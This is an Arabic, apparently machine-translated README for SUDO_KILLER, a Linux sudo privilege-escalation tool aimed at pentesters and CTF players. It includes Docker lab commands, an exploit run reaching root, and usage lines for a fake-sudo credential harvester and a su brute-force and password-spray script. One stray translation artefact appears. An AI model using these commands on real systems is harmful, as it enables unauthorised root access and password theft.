
أداة مصممة لاستغلال ثغرة تصعيد الامتيازات في برنامج sudo على الأنظمة الشبيهة بيونكس. تستفيد من خطأ أو سوء تكوين معين في sudo للحصول على صلاحيات مرتفعة على النظام، مما يتيح لمستخدم عادي تنفيذ أوامر بصلاحيات المستخدم الجذر (root).
⭐ قم بمنحنا نجمة على GitHub — لإظهار دعمك!
💡 يُفضل مشاهدته في الوضع الداكن :)
وصل مشروع SUDO_KILLER إلى النهائيات لجائزة SANS Difference Award 2023 في فئة الأداة مفتوحة المصدر.
SUDO_KILLER هي أداة موجهة لممارسي الأمن السيبراني (مختبرو الاختراق، مدققو الأمن، مدراء الأنظمة، لاعبو CTF وطلاب أمن المعلومات)، تسهل رفع الامتيازات داخل بيئات لينكس. تركز على الثغرات المرتبطة باستخدام SUDO، بما في ذلك سوء التهيئة في قواعد sudo، نقاط الضعف القائمة على الإصدار (CVEs وثغرات أخرى)، ونشر البرامج الثنائية الخطرة (GTFOBINS). يمكن استغلال نقاط الضعف هذه للحصول على صلاحيات ROOT أو انتحال هوية مستخدمين آخرين.
يوفر SUDO_KILLER كتالوجًا من الأوامر المحتملة والاستغلالات المحلية لرفع الامتيازات يدويًا. من المهم أنه يمتنع عن الاستغلال التلقائي، مما يتطلب من المستخدمين تنفيذ عملية الاستغلال بأنفسهم وفقًا لاستخدامه المقصود.
فيما يلي قائمة بالفحوصات التي يقوم بها SUDO_KILLER
[!WARNING] قائمة الفحوصات أعلاه ليست شاملة.
للبدء مع SUDO_KILLER، يمكنك إما استنساخ المستودع (git clone) أو تنزيل الملف المضغوط. إذا كنت ترغب في الممارسة و/أو اختبارها، فهناك بيئة اختبار ضعيفة (باستخدام docker). راجع الفيديو المرتبط الذي يقدم نظرة عامة حول كيفية إعداد docker وتشغيل SUDO_KILLER. يمكن إعداد عدة سيناريوهات في بيئة docker ويمكن استخدامها لاختبار سوء التهيئة أو العيوب المختلفة. بدلاً من ذلك، يمكنك تشغيلها على النظام المراد تدقيقه للتحقق من سوء التهيئة و/أو العيوب المتعلقة بـ sudo.```shell ./SUDO_KILLERv.sh -c -a -e -r report.txt -p /tmp
الوسائط الاختيارية:
</br>-c : تشمل فحوصات CVE</br>
-a : تشمل CVEs المتعلقة بتطبيقات/أجهزة الطرف الثالث </br>
-i : استيراد (وضع عدم الاتصال) من extract.sh </br>
-e : تشمل تصدير قواعد sudo / ملف sudoers </br>
-r : اسم التقرير (حفظ المخرجات) </br>
-p : المسار لحفظ التصدير والتقرير </br>
-s : توفير كلمة مرور المستخدم لفحوصات sudo (إذا لم يكن الوصول إلى قواعد sudo ممكنًا بدون كلمة مرور المستخدم الحالية) </br>
-h : المساعدة
> [!NOTE]
> من الجدير بالذكر أنه عند استخدام الوسيطة -c، يتم توفير نوعين من الفحوصات: واحد يعتمد فيه CVE المحدد فقط على إصدار sudo الحالي المستخدم، وآخر يتم فيه أيضًا التحقق من المتطلبات.
> في كثير من الأحيان، قد يكون إصدار sudo معرضًا للخطر ولكن قد تكون هناك حاجة لبعض الشروط المسبقة لاستغلاله بنجاح.
> [!NOTE]
> توفير كلمة المرور: إذا كانت كلمة المرور مطلوبة لتشغيل sudo -l، فلن يعمل البرنامج النصي إذا لم تقدم كلمة مرور باستخدام الوسيطة -s.
<a name="docker"></a>
### Docker (بيئة اختبار قابلة للاختراق)
<p align="left">
<img width="25%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK/docker.gif" alt="-dockerlogo"/>
</p>
يتم توفير مجموعة من حاويات Docker لإنشاء بيئة اختبار قابلة للاختراق عمدًا من أجل الاختبار والتجربة العملية لكل من `SUDO_KILLER` والثغرات.```shell
service docker start
docker pull th3xace/sudo_killer_demo3
docker run --rm -it th3xace/sudo_killer_demo3
(This docker is only to test the CVE-2019-18634 (pwfeedback))
service docker start
docker pull th3xace/sudo_killer_demo2
docker run --user 1000 --rm -it th3xace/sudo_killer_demo2
[No input text provided to translate.]```shell (This docker is only to test the CVE-2025-32463 (chwoot)) -> Credits to author $ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git $ cd CVE-2025-32463_chwoot
$ service docker start $ ./run.sh
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh id woot! uid=0(root) gid=0(root) groups=0(root),1001(pwn)
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh woot!
root@f722d9182d1f:/# id uid=0(root) gid=0(root) groups=0(root),1001(pwn)
## لماذا يمكن تشغيل "sudo -l" بدون كلمة مرور؟
افتراضيًا، إذا تم تطبيق علامة NOPASSWD على أي من الإدخالات لمستخدم على مضيف، فستتمكن من تشغيل "sudo -l" بدون كلمة مرور. يمكن تجاوز هذا السلوك عبر خيارات verifypw و listpw.
ومع ذلك، تؤثر هذه القواعد على المستخدم الحالي فقط، لذا إذا كان انتحال شخصية المستخدم ممكنًا (باستخدام su)، فيجب تشغيل sudo -l من هذا المستخدم أيضًا.
في بعض الأحيان يمكن قراءة الملف /etc/sudoers حتى لو لم يكن sudo -l متاحًا بدون كلمة مرور.
<a name="scenarios"></a>
## السيناريوهات
لتبديل السيناريو (لتجنب التعارض بين السيناريوهات المختلفة) على docker (demo3):```shell
switchScenario <scenario_number>
Available scenarios: 0 to 10
All Scenarios 0 : Conflict might occur!
Scenario 1: [2,3] CVE - Rules
Scenario 2: [4] Excessive permissions
Scenario 2: [5] Excessive permissions (Authentication required)
Scenario 3: [6] User Impersonation
Scenario 4: [7] Common Misconfiguration (Change owner)
Scenario 4: [8,11] Common Misconfiguration (Wildcard)
Scenario 5: [13] Missing scripts from sudo rules
Scenario 6: [17] Dangerous Environment Variables
Scenario 7: [18] Dangerous binaries (gtfobins)
Scenario 8: [19] Recursive Impersonation test
Scenario 9: [20] Environment Path Hijacking
Scenario 10: [21] App Specific sudo vuln/misconfig
Scenario 11: [5] Excessive permissions (Authentication required)
Scenario 12: [16] Backdooring sudo (Credentials Capture)
يمكن العثور على قائمة التشغيل هنا: https://www.youtube.com/watch?v=Q8iO9mYrfv8&list=PLQPKPAuCA40FMpMKWZLxQydLe7rPL5bml
[!IMPORTANT] فيديوهات سريعة حول كيفية إجراء الاختبار بشكل صحيح على docker المقدم.
[!WARNING] قائمة الفيديوهات أدناه ليست شاملة، للوصول إلى جميع الفيديوهات، يرجى مراجعة رابط قائمة التشغيل.
الإصدار 3 من SUDO_KILLER يتضمن الآن قائمة من الأدوات التي يمكن استخدامها لتحقيق عدة مهام. توجد البرامج النصية في SUDO_KILLERv3/SUDO_KILLER/SK-Tools/
SK-ImperBruteForce-NoPwd.sh: تنفيذ هجوم قوة عمياء للانتحال باستخدام المستخدمين من /etc/passwd، بدءًا من المستخدم ذي UID 1000.SK-credHarvest2.sh: تنفيذ التقاط بيانات الاعتماد عن طريق إنشاء sudo مزيف عبر alias ثم توجيهه إلى sudo الحقيقي.SK-app-check.sh: تنفيذ فحص لثغرات sudo المتعلقة بتطبيق أو جهاز أو لغة برمجة محددة من طرف ثالث (لا يزال قيد التطوير).SK-ttyInject.sh: إساءة استخدام TTY pushback بحيث إذا استخدم root الأمر su - على مستخدم خاضع للتحكم، يتم تنفيذ أمر تعسفي.SK-recursive-impersonate.sh: تنفيذ تحديد الانتحال المتكرر بعمق افتراضي يبلغ 3.SK-alias-report.sh: تنفيذ بحث عن aliases بمعايير مختلفة.SK-csuid-with-sudo.sh: تحديد ملفات SUID المخصصة والتحقق مما إذا كان sudo يعمل بدون مسار كامل.يتيح السكربت SK-credHarvest2.sh من أدوات SK تنفيذ التقاط بيانات الاعتماد عن طريق إنشاء sudo مزيف عبر alias ثم إعادة التوجيه إلى sudo الحقيقي. يعمل حاليًا فقط مع bash (لا يعمل/غير مطبق لـ ZSH أو غيره الآن) على أنظمة لينكس المكونة.
تختلف الرسالة المعروضة عند طلب بيانات الاعتماد عند استخدام sudo حسب الإصدار المستخدم. من الممكن الاختيار بين خيارين (يختلفان حسب إصدار نظام التشغيل). مثال على الرسالة المعروضة (الجديدة والقديمة)
[!TIP] (جديد) [sudo] password for user:
(قديم) Password:
لجميع المستخدمين (auser): عندما تمتلك صلاحية الجذر أو صلاحيات مفرطة على أدلة المستخدمين وتريد طريقة سهلة لجمع بيانات الاعتماد:```shell ./SK-credHarvest2.sh auser <new|old> ; source /home/*/.bashrc
للمستخدم الحالي (cuser):```shell
./SK-credHarvest2.sh cuser <new|old> ; source /home/<currentuser>/.bashrc
[!CAUTION] لإيقاف جمع بيانات الاعتماد: قم بتشغيل نفس السكريبت مرة أخرى بنفس الوسيط
المخرجات: سيحتوي السجل /tmp/sk-crds.log على بيانات الاعتماد
ستحتاج إما إلى صلاحيات الجذر، أو الوصول إلى نسخة احتياطية من sudoers، أو صلاحية القراءة لـ /etc/sudoers.```shell Usage: ./SK-alias-sudoers.sh -p <sudoers_path> -k [-u] [-r] [-m] [-c] | [-a] where -u: user | -r: runas | -m: host | -c: command | -a: all
### هجوم Bruteforce/Password Spray عبر su (SK-su-BruteForce.sh)
استخدام su لتنفيذ هجوم Bruteforce على كلمات المرور وPassword Spray مع التزامن (concurrency)، مهلة زمنية (timeout) ونوم (sleep).```shell
Usage: ./SK-su-BruteForce.sh [-h|--help] [-m|--module MODULE] [-u|--user USER|-uf|--userfile USERFILE] [-p|--password PASSWORD|-pf|--pwdfile PASSFILE] [-c|--concurrent CONCURRENT] [-s|--sleep SLEEP] [-t|--timeouts TIMEOUTS]
Module: Password Bruteforce : pwdbf
Example: ./SK-su-BruteForce.sh -m "pwdbf" -u user -pf password.txt -c 5 -s 0.005 -t 0.9
Module: Password Spray : pwdspr
Example: ./SK-su-BruteForce.sh -m pwdspr -uf users.txt -p password -c 5 -s 0.005 -t 0.9
Module: User:Password Bruteforce : usrpwdbf
Example: ./SK-su-BruteForce.sh -m usrpwdbf -uf users-pwd.txt -c 5 -s 0.005 -t 0.9
ابحث عن ملفات النسخ الاحتياطية المحتملة لـ sudoers في /mnt/ /opt/ /etc/ /etc/ /home/ /app*/ وأي مسار إضافي يتم تمريره كوسيطة```shell Usage: ./SK-search-sudoers.sh /tmp/
### تحديث الثنائيات الخطيرة - GTFOBINS (SK_dbins_update.sh)
لتحديث الثنائيات الخطيرة، انتقل إلى dbins/update وشغّل ./SK_dbins_update.sh. تأكد من وجود اتصال بالإنترنت.```shell
Usage: ./SK_dbins_update.sh
البحث عن الثنائيات ذات المسار النسبي التي يمكن إساءة استخدامها! إذا لم يتم تعيين secure_path.```shell sudo -l <..snip..> (root) SETENV: NOPASSWD: /opt/support/purge.sh <..snip..>
Usage: ./SK-relative-path.sh /opt/support/purge.sh
<a name="contribute"></a>
# المساهمة
`SUDO_KILLER` هو مشروع مفتوح المصدر ونقدر أي مساهمات بشكل كبير. سواء كنت تساعدنا في إصلاح الأخطاء، أو اقتراح ميزات جديدة، أو تحسين وثائقنا، أو نشر الكلمة - يسعدنا أن نضمك كمساهم. يرجى التواصل معي على تويتر أو لينكد إن إذا كانت لديك أي اقتراحات أو ملاحظات أو ترغب في المساهمة، يمكنك أيضاً إنشاء طلب سحب (Pull Request). أبحث عن مساهمات في ثغرات sudo المتعلقة بالجهات الخارجية (لدي قائمة تضم حوالي 175 ثغرة) وسأكون ممتناً لأي مساعدة.
- الإبلاغ عن خطأ: إذا رأيت رسالة خطأ أو واجهت مشكلة أثناء استخدام `SUDO_KILLER`، يرجى إنشاء [تقرير خطأ](https://github.com/TH3xACE/SUDO_KILLER/issues/new?assignees=&labels=type%3A+bug&template=bug.yaml&title=%F0%9F%90%9B+Bug+Report%3A+).
- طلب ميزة: إذا كانت لديك فكرة أو تفتقد إلى إمكانية من شأنها تسهيل التطوير وجعله أكثر متانة، يرجى تقديم [طلب ميزة](https://github.com/TH3xACE/SUDO_KILLER/issues/new?assignees=&labels=type%3A+feature+request&template=feature.yml).
<a name="stars"></a>
## النجوم عبر الزمن
شكراً لكم جميعاً على دعمكم!
[](https://starchart.cc/TH3xACE/SUDO_KILLER)
<a name="support"></a>
## الدعم
<a href="https://www.patreon.com/TH3xACE">
<img src="https://assets.kitploit.com/production/public/readmes/2701/0c68395ad843ce5107774011154103ae8d17d44f3cafc73e6395bdd05da753c7.png" width="160">
</a>
<a name="credits"></a>
## الإشادات
لقد صممت السكريبت بشكل مستقل، مستفيداً من الموارد المتاحة على الإنترنت من GitHub ومصادر أخرى على الشبكة. كما تعود الفضل إلى منشئي/ناشري الثغرات المرتبطة بـ CVEs. يمكنك تتبع تفاصيلهم ومراجعهم في الثغرة نفسها، وكذلك في الملاحظات المصاحبة عند تشغيل الأداة. يعود الفضل البارز إلى Vincent Puydoyeux، الذي ألهمني تطوير هذه الأداة، وKoutto، للمساعدة القيّمة في التعامل مع تعقيدات Docker وتحسين وظائف الأداة. بالإضافة إلى ذلك، شكر جزيل لـ Emilio Pinna (norbemi) وAndrea Cardaci (cyrus_and) لإسهاماتهم القيّمة في GTFO Bins، والتي أثرت بشكل كبير على تطوير هذا المشروع.
<a name="disclaimer"></a>
## إخلاء مسؤولية
هذا السكريبت لأغراض تعليمية فقط. لا تستخدمه دون إذن مالك النظام الذي تقوم بتشغيله عليه. ينطبق إخلاء المسؤولية المعتاد، خاصة أنني (TH3xACE) لست مسؤولاً عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف المقدمة من هذا المشروع. المؤلف (TH3xACE) أو أي مزود خدمة إنترنت لا يتحمل أي مسؤولية عن المحتوى أو سوء استخدام هذه البرامج أو أي مشتقات منها. باستخدام هذه البرامج، فإنك تقبل حقيقة أن أي ضرر (فقدان بيانات، تعطل النظام، اختراق النظام، إلخ) ناتج عن استخدام السكريبت ليس من مسؤولية المؤلف.
<a name="license"></a>
## الترخيص
`SUDO_KILLER` مرخص بموجب رخصة MIT، ومن المتوقع الإشارة بشكل مناسب كلما تم استخدامه. يرجى التفكير في التبرع لأي استخدام تجاري.
SK-su-BruteForce.sh: تنفيذ هجوم قوة عمياء أو رش كلمة المرور لمستخدم محدد عبر sudo.SK-search-sudoers.sh: تحديد ملفات نسخ احتياطية محتملة لـ sudoers على المضيف الحالي.